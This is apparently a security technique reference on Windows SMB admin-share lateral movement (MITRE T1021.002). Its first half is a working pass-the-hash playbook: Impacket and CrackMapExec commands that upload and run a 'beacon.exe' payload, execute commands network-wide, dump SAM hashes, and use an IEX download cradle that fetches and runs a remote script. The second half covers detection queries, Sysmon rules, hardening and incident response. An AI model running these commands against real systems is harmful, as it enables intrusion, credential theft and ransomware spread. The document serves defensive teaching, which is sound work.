| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-001 |
| MITRE ATT&CK v18.1 | T1021.002 |
| Tactic | Lateral Movement |
| Platforms | Windows Endpoint |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016-2025, Windows 10/11 |
| Patched In | N/A - Inherent Windows functionality |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SMB (Server Message Block) lateral movement exploits the default Windows administrative shares (C$, D$, ADMIN$, IPC$) to execute commands and transfer files between networked systems. Once an attacker has valid credentials or NTLM hashes (via Pass-the-Hash), they can leverage these shares to upload malware, execute commands via tools like psexec, or extract sensitive files. This technique bypasses network segmentation when proper micro-segmentation and egress filtering are absent.
Attack Surface: SMB protocol (TCP 445), Windows Admin Shares ($IPC, $ADMIN, $C, $D), Windows Credential Manager, Active Directory Credentials.
Business Impact: Critical—Network-wide compromise potential. An attacker with credentials for a single compromised system can laterally move to all networked servers, deploy ransomware across infrastructure, exfiltrate sensitive data from file shares, and establish persistent backdoors.
Technical Context: Execution typically takes seconds to minutes per target. Detection likelihood is moderate if SMB connection logging is enabled (Event ID 5140); however, many organizations disable this due to performance impact. Indicators include suspicious remote file execution, unusual SMB traffic patterns, and command execution on non-standard service accounts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.3 | Enable “Audit credential validation” and “Audit NTLM authentication” |
| DISA STIG | WN10-00-000020 | Enable “Audit logon events” |
| NIST 800-53 | AC-3 (Access Enforcement), AU-2 (Audit Events) | Monitor network access and enforce least privilege |
| GDPR | Art. 32 | Security of Processing—access controls and logging |
| NIS2 | Art. 21 | Cyber Risk Management—network segmentation and monitoring |
| ISO 27001 | A.9.2 (User Access Management) | Monitor privileged access and lateral movement |
| ISO 27005 | Risk Scenario: “Compromised Account - Network-wide Lateral Movement” | Detect and contain unauthorized network access |
Supported Versions:
Supported Versions: Server 2016-2025
Objective: Identify accessible SMB shares on the target system.
Command:
# Using Impacket's smbclient
python3 /opt/impacket/examples/smbclient.py -hashes :AAAABBBBCCCCDDDDEEEEFFFFGGGG1111 'DOMAIN/user@target.local'
Expected Output:
Type help for list of commands
# shares
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
D$ Disk Data share
IPC$ IPC Remote IPC
SYSVOL Disk logon server share
NETLOGON Disk logon server share
What This Means:
OpSec & Evasion:
Objective: Transfer an executable to the target system.
Command:
# Using Impacket's smbclient to upload
python3 /opt/impacket/examples/smbclient.py -hashes :AAAABBBBCCCCDDDDEEEEFFFFGGGG1111 'DOMAIN/user@target.local' -c 'put /path/to/beacon.exe C$\Windows\Temp\beacon.exe'
Expected Output:
putting file /path/to/beacon.exe as C$\Windows\Temp\beacon.exe done
What This Means:
OpSec & Evasion:
Objective: Execute uploaded payload with system/admin privileges.
Command:
# Using Impacket's smbexec (no file upload, executes via SMB directly)
python3 /opt/impacket/examples/smbexec.py -hashes :AAAABBBBCCCCDDDDEEEEFFFFGGGG1111 'DOMAIN/user@target.local' -c 'whoami'
Expected Output:
C:\Windows\system32> whoami
domain\system
Command (Impacket atexec - Uses Task Scheduler):
python3 /opt/impacket/examples/atexec.py -hashes :AAAABBBBCCCCDDDDEEEEFFFFGGGG1111 'DOMAIN/user@target.local' 'C:\Windows\Temp\beacon.exe'
What This Means:
OpSec & Evasion:
Supported Versions: Server 2016-2025, PowerShell 5.0+
Objective: Prepare NTLM hash for authentication without plaintext password.
Command:
# Import Invoke-PSExec function
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-PSExec/master/Invoke-PSExec.ps1')
# Define hash and target
$Hash = "AAAABBBBCCCCDDDDEEEEFFFFGGGG1111"
$Target = "192.168.1.10"
$Domain = "DOMAIN"
$Username = "user"
Expected Output:
# No output; variables defined
What This Means:
Objective: Execute arbitrary command on remote system.
Command:
# Execute command via SMB using PSExec
Invoke-PSExec -Target $Target -Domain $Domain -Username $Username -Hash $Hash -Command "whoami" -OnlyStdOut
Expected Output:
domain\system
What This Means:
OpSec & Evasion:
Supported Versions: Server 2016-2025
Objective: Enumerate all SMB-accessible targets on the network.
Command:
# Scan network for SMB services
cme smb 192.168.1.0/24 -u user -H AAAABBBBCCCCDDDDEEEEFFFFGGGG1111 --shares
Expected Output:
SMB 192.168.1.10 445 SERVER01 [*] Windows Server 2019 Enterprise (build:17763)
SMB 192.168.1.10 445 SERVER01 [-] FAILED LOGIN: 0/0
SMB 192.168.1.11 445 SERVER02 [+] DOMAIN\user:500 (Pwn3d!) (User)
SMB 192.168.1.11 445 SERVER02 C$ READ,WRITE,DELETE
SMB 192.168.1.11 445 SERVER02 ADMIN$ READ,WRITE,DELETE
What This Means:
Objective: Mass lateral movement across discovered systems.
Command:
# Execute whoami on all accessible systems
cme smb 192.168.1.0/24 -u user -H AAAABBBBCCCCDDDDEEEEFFFFGGGG1111 -x 'whoami' --exec-method smbexec
Expected Output:
SMB 192.168.1.11 445 SERVER02 [+] DOMAIN\user (Pwn3d!)
SMB 192.168.1.11 445 SERVER02 [+] Executed command "whoami"
SMB 192.168.1.11 445 SERVER02 DOMAIN\SYSTEM
What This Means:
OpSec & Evasion:
Repository: GitHub - SecureAuthCorp/impacket
Version: Latest (1.4.10+)
Installation (Linux):
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -e .
Key Tools:
smbclient.py — Interactive SMB share access (upload/download).smbexec.py — Execute commands via SMB with minimal artifact.atexec.py — Execute via Windows Task Scheduler (Event ID 4698).wmiexec.py — Execute via WMI instead of SMB (less logged).Usage Example:
# Interactive SMB shell
python3 -m impacket.smbclient -hashes :HASH 'DOMAIN/user@target'
# Execute command
python3 -m impacket.smbexec -hashes :HASH 'DOMAIN/user@target' 'whoami'
# Upload file to C$ share
python3 -m impacket.smbclient -hashes :HASH 'DOMAIN/user@target' -c 'put beacon.exe C$\Windows\Temp\'
Repository: GitHub - byt3bl33d3r/CrackMapExec
Version: Latest (5.4.0+)
Installation:
git clone https://github.com/byt3bl33d3r/CrackMapExec.git
cd CrackMapExec
pip3 install -e .
Usage Examples:
# Enumerate shares
cme smb 192.168.1.0/24 -u user -p password --shares
# Execute command across network
cme smb 192.168.1.0/24 -u user -H HASH -x 'whoami' --exec-method smbexec
# Dump hashes on compromised system
cme smb 192.168.1.10 -u user -H HASH --sam
Repository: GitHub - Kevin-Robertson/Invoke-PSExec
Usage:
# Download and import
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-PSExec/master/Invoke-PSExec.ps1')
# Execute with hash
Invoke-PSExec -Target 192.168.1.10 -Domain DOMAIN -Username user -Hash HASH -Command "whoami"
Download: Microsoft Sysinternals - psexec
Installation:
# Download psexec from Sysinternals
# Place in C:\Tools\
# Basic usage
C:\Tools\psexec.exe \\target -u DOMAIN\user -p password -h cmd.exe
Advanced Usage:
# Execute as SYSTEM
psexec.exe \\target -h -d cmd.exe /c "whoami"
# With hash (requires 3rd party tools to convert to plaintext or other method)
# Note: psexec doesn't natively support Pass-the-Hash; use Impacket instead
Primary Event IDs:
| Event ID | Source | What It Detects | Detection Difficulty |
|---|---|---|---|
| 5140 | Security | SMB Share Access (logon to share) | Medium |
| 5145 | Security | Detailed SMB Share Access (file operations) | Medium |
| 4672 | Security | Special privileges assigned (SYSTEM) | Medium |
| 4688 | Security | Process creation (command execution) | Low |
| 4698 | Security | Scheduled task creation (Task Scheduler execution) | Low |
| 4720 | Security | Local user account created (persistence) | Low |
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesEvent Collection Query (PowerShell):
# Collect SMB-related events from the last 1 hour
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=5140,5145,4688,4698
StartTime=(Get-Date).AddHours(-1)
} | Sort-Object TimeCreated | Format-Table TimeCreated, ID, MachineName
Forensic Indicators:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688 // Process creation
| where Process has_any ("cmd.exe", "powershell.exe")
| where CommandLine has_any ("\\\\", "C$", "ADMIN$")
| summarize Count=count() by Computer, Account, Process, CommandLine
| where Count > 1 // Multiple process creations from same account
| join kind=inner (
SecurityEvent
| where EventID == 5140 // SMB share access
| project Computer, Account, ShareName, TimeGenerated
) on Computer, Account
| project TimeGenerated, Computer, Account, Process, CommandLine, ShareName, Count
What This Detects:
Manual Configuration Steps (Azure Portal):
SMB Lateral Movement with Process ExecutionHigh15 minutes30 minutesRule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4625 // Failed logon (multiple attempts indicate PtH)
| summarize FailedAttempts=count() by SourceIpAddress, TargetAccount, Computer
| where FailedAttempts > 5 // Threshold for hash spray
| union (
SecurityEvent
| where EventID == 4624 // Successful logon after failed attempts
| where AuthenticationPackage == "NTLM"
| project Computer, Account=TargetAccount, SourceIpAddress, TimeGenerated
)
| project Computer, Account, SourceIpAddress, FailedAttempts
What This Detects:
Minimum Sysmon Version: 13.0+
Config Snippet:
<!-- Detect SMB-based command execution -->
<RuleGroup name="SMB Lateral Movement" groupRelation="or">
<!-- Detect cmd.exe/powershell.exe with network paths (SMB UNC paths) -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">cmd.exe \\
<CommandLine condition="contains any">powershell.exe \\
<CommandLine condition="contains any">notepad.exe C$
<CommandLine condition="contains any">certutil.exe C$
</ProcessCreate>
<!-- Detect Impacket/psexec process creation via SMB -->
<ProcessCreate onmatch="include">
<ParentImage condition="contains">smb</ParentImage>
<CommandLine condition="contains any">whoami, ipconfig, tasklist</CommandLine>
</ProcessCreate>
<!-- Detect network connections to SMB port from suspicious processes -->
<NetworkConnect onmatch="include">
<DestinationPort>445</DestinationPort>
<Image condition="contains any">impacket, crackmap, psexec</Image>
</NetworkConnect>
</RuleGroup>
Manual Configuration Steps:
sysmon-smb-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-smb-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Select-Object TimeCreated, Message
Enable SMB Signing & Encryption:
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Server 2022+):
Manual Steps (PowerShell):
# Enable SMB signing on all systems
Set-SmbServerConfiguration -RequireSecuritySignature $true -EncryptData $true -Force
Disable SMB v1 Protocol (Legacy):
Manual Steps (PowerShell - Server 2016-2025):
# Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# Verify disabled
Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol
Manual Steps (Group Policy):
gpupdate /forceImplement Network Segmentation (Restrict SMB 445):
Manual Steps (Firewall Rules):
# Block SMB outbound from regular endpoints
New-NetFirewallRule -DisplayName "Block SMB to non-fileservers" `
-Direction Outbound -Action Block -Protocol TCP `
-RemotePort 445 -RemoteAddress "192.168.0.0/16"
# Allow only to designated fileservers
New-NetFirewallRule -DisplayName "Allow SMB to fileservers" `
-Direction Outbound -Action Allow -Protocol TCP `
-RemotePort 445 -RemoteAddress "192.168.1.100,192.168.1.101"
Manual Steps (Group Policy):
Enforce Strong Authentication & MFA:
Manual Steps (Conditional Access - Entra ID):
Block Legacy NTLM AuthenticationImplement Privileged Access Management (PAM):
Manual Steps (Azure PIM):
# Check if SMBv1 is disabled
Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol
# Should return: EnableSMB1Protocol : False
# Check if SMB signing is enabled
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature
# Should return: RequireSecuritySignature : True
# Check firewall rules restricting SMB
Get-NetFirewallRule -DisplayName "*SMB*" | Select-Object DisplayName, Action, Direction
# Verify Conditional Access policies
Get-AzureADMSConditionalAccessPolicy | Where-Object { $_.DisplayName -contains "Legacy" }
Expected Output (If Secure):
EnableSMB1Protocol : False
RequireSecuritySignature : True
DisplayName: Block Legacy NTLM Authentication, Action: Block
cmd.exe \\target\C$\Windows\Temp\malware.exe).netstat -ano | find ":445"Isolate Affected System:
Command (PowerShell):
# Disconnect network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or disable NIC via Group Policy
Set-NetAdapter -InterfaceIndex (Get-NetAdapter | Where-Object {$_.InterfaceDescription -match "Ethernet"}).InterfaceIndex -AdminStatus Down
Manual:
Collect Evidence:
Command (PowerShell):
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx /overwrite:true
# Export SMB-specific events
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=5140,5145,4688,4698} `
-MaxEvents 10000 | Export-Csv C:\Evidence\SMB_Events.csv
# Get currently established connections
netstat -ano > C:\Evidence\netstat.txt
# Get process list at time of incident
Get-Process | Export-Csv C:\Evidence\ProcessList.csv
Manual:
C:\Evidence\Security.evtxnetstat -ano > C:\Evidence\netstat.txtRemediate:
Command (PowerShell):
# Kill suspicious processes
Get-Process | Where-Object {$_.ProcessName -match "impacket|crackmap|psexec"} | Stop-Process -Force
# Remove malware files
Remove-Item "C:\Windows\Temp\beacon.exe" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\ProgramData\*.exe" -Force -ErrorAction SilentlyContinue
# Reset compromised account password
Set-ADAccountPassword -Identity "compromised_user" -NewPassword (ConvertTo-SecureString "NewP@ssw0rd!" -AsPlainText -Force) -Reset
# Disable account temporarily during investigation
Disable-ADAccount -Identity "compromised_user"
Manual:
Long-Term Remediation:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView enumeration | Enumerate domain systems and SMB shares |
| 2 | Credential Access | [CA-DUMP-001] Mimikatz LSASS extraction | Dump NTLM hashes from compromised system |
| 3 | Lateral Movement | [LM-REMOTE-001] SMB/Admin Shares | Use hashes to move laterally via SMB |
| 4 | Persistence | [PERSIST-ACCT-001] AdminSDHolder abuse | Maintain access via ACL manipulation |
| 5 | Impact | [IMPACT-RANSOM-001] Ransomware deployment | Deploy ransomware across all accessible systems |